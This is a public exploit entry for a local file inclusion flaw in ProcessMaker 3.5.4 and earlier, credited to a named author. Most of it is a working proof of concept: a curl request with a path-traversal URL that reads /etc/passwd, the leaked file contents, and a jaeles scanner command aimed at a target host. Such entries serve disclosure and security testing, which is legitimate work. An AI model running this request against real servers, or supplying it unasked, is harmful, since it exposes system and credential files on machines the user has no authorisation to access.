ProcessMaker 3.5.4 Local File Inclusion

`# Exploit Title: ProcessMaker 3.5.4 - Local File inclusion  
# Exploit Author: Ai Ho (@j3ssiejjj)  
# Date: 16-04-2021  
# Vendor Homepage: https://www.processmaker.com/  
# Version: ProcessMaker <= 3.5.4  
# References: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/process-maker-lfi.yaml  
  
# PoC:  
  
## With curl  
  
curl -k --path-as-is 'http://targetIP/../../../..//etc/passwd'  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
  
--[snippets]--  
  
## With Jaeles Scanner  
  
jaeles scan -s ~/jaeles-signatures/common/process-maker-lfi.yaml -u http://targetIP  
`